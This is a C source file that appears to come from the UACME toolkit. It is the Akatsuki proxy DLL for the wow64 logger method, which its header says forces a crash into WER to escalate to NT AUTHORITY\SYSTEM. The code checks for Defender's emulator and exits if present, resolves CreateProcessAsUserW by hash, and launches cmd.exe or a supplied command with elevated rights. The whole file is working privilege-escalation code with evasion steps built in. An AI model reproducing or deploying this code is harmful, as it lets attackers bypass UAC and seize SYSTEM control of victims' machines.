/******************************************************************************* * * (C) COPYRIGHT AUTHORS, 2016 - 2020 * * TITLE: DLLMAIN.C * * VERSION: 3.50 * * DATE: 14 Sep 2020 * * Proxy dll entry point, Akatsuki. * Special dll for wow64 logger method. * * WARNING: real wow64log must have native subsystem and only ntdll export. * This one will force crash and propagate to WER process elevating to NTAuthority/System. * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A * PARTICULAR PURPOSE. * *******************************************************************************/ #if !defined UNICODE #error ANSI build is not supported #endif #include "shared\shared.h" #include "shared\libinc.h" #define LoadedMsg TEXT("Akatsuki lock and loaded") HANDLE g_SyncMutant = NULL; UACME_PARAM_BLOCK g_SharedParams; /* * DummyFunc * * Purpose: * * Stub for fake exports. * */ VOID WINAPI DummyFunc( VOID ) { } /* * DbgDumpRuntimeInfo * * Purpose: * * Dump runtime info to the file, this routine is only for debug builds. * */ VOID DbgDumpRuntimeInfo() { HANDLE hFile = INVALID_HANDLE_VALUE; WCHAR szReportName[MAX_PATH * 2]; WCHAR sysdir[MAX_PATH + 1]; DWORD cch; LPWSTR lpText = NULL; DWORD bytesIO; WCHAR ch; cch = ucmExpandEnvironmentStrings(L"%temp%\\", sysdir, MAX_PATH); if ((cch != 0) && (cch < MAX_PATH)) { _strcpy(szReportName, sysdir); _strcat(szReportName, TEXT("report_")); ultostr(GetCurrentProcessId(), _strend(szReportName)); _strcat(szReportName, TEXT(".txt")); hFile = CreateFile(szReportName, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, 0, NULL); if (hFile != INVALID_HANDLE_VALUE) { ch = (WCHAR)0xFEFF; WriteFile(hFile, &ch, sizeof(WCHAR), &bytesIO, NULL); lpText = ucmQueryRuntimeInfo(TRUE); if (lpText) { WriteFile(hFile, lpText, (DWORD)(_strlen(lpText) * sizeof(WCHAR)), &bytesIO, NULL); ucmDestroyRuntimeInfo(lpText); } CloseHandle(hFile); } } } #define Hash_CreateProcessAsUserW 0xb75be93c /* * InitFunctionPtr * * Purpose: * * Retrieve required function ptr. * */ PVOID InitFunctionPtr( VOID ) { UNICODE_STRING usKernel = RTL_CONSTANT_STRING(L"kernel32.dll"); UNICODE_STRING usAdvapi = RTL_CONSTANT_STRING(L"advapi32.dll"); NTSTATUS ntStatus; PVOID ImageBase = NULL, dummy; ntStatus = LdrLoadDll(NULL, NULL, &usKernel, &dummy); if (NT_SUCCESS(ntStatus)) { ntStatus = LdrGetDllHandleEx(LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT, NULL, NULL, &usAdvapi, &ImageBase); if (!NT_SUCCESS(ntStatus)) { ntStatus = LdrLoadDll(NULL, NULL, &usAdvapi, &ImageBase); } if (NT_SUCCESS(ntStatus)) { return ucmGetProcedureAddressByHash(ImageBase, Hash_CreateProcessAsUserW); } } return NULL; } /* * DefaultPayload * * Purpose: * * Process parameter if exist or start cmd.exe and exit immediatelly. * */ VOID DefaultPayload( VOID ) { BOOL bSharedParamsReadOk; UINT ExitCode = 0; PWSTR lpParameter; ULONG cbParameter; BOOL bIsLocalSystem = FALSE; ULONG SessionId; LARGE_INTEGER liDueTime; PFNCREATEPROCESSASUSERW pCreateProcessAsUser; if (!NT_SUCCESS(ucmCreateSyncMutant(&g_SyncMutant))) { RtlExitUserProcess(STATUS_SUCCESS); return; } // // Read shared params block. // RtlSecureZeroMemory(&g_SharedParams, sizeof(g_SharedParams)); bSharedParamsReadOk = ucmReadSharedParameters(&g_SharedParams); if (bSharedParamsReadOk) { lpParameter = g_SharedParams.szParameter; cbParameter = (ULONG)(_strlen(g_SharedParams.szParameter) * sizeof(WCHAR)); SessionId = g_SharedParams.SessionId; } else { lpParameter = NULL; cbParameter = 0UL; SessionId = 0; } ucmIsLocalSystem(&bIsLocalSystem); pCreateProcessAsUser = (PFNCREATEPROCESSASUSERW)InitFunctionPtr(); if (pCreateProcessAsUser) { ExitCode = (ucmLaunchPayload2( pCreateProcessAsUser, bIsLocalSystem, SessionId, lpParameter, cbParameter) != FALSE); } // // Notify Akagi. // if (bSharedParamsReadOk) { ucmSetCompletion(g_SharedParams.szSignalObject); } ucmFormatTimeOut(&liDueTime, 5000); NtDelayExecution(FALSE, &liDueTime); NtClose(g_SyncMutant); RtlExitUserProcess(ExitCode); } /* * DllMain * * Purpose: * * Proxy dll entry point. * */ BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved ) { UNREFERENCED_PARAMETER(hinstDLL); UNREFERENCED_PARAMETER(lpvReserved); ucmDbgMsg(LoadedMsg); if (wdIsEmulatorPresent() == STATUS_NEEDS_REMEDIATION) RtlExitUserProcess('Foff'); if (fdwReason == DLL_PROCESS_ATTACH) { LdrDisableThreadCalloutsForDll(hinstDLL); DefaultPayload(); } return TRUE; }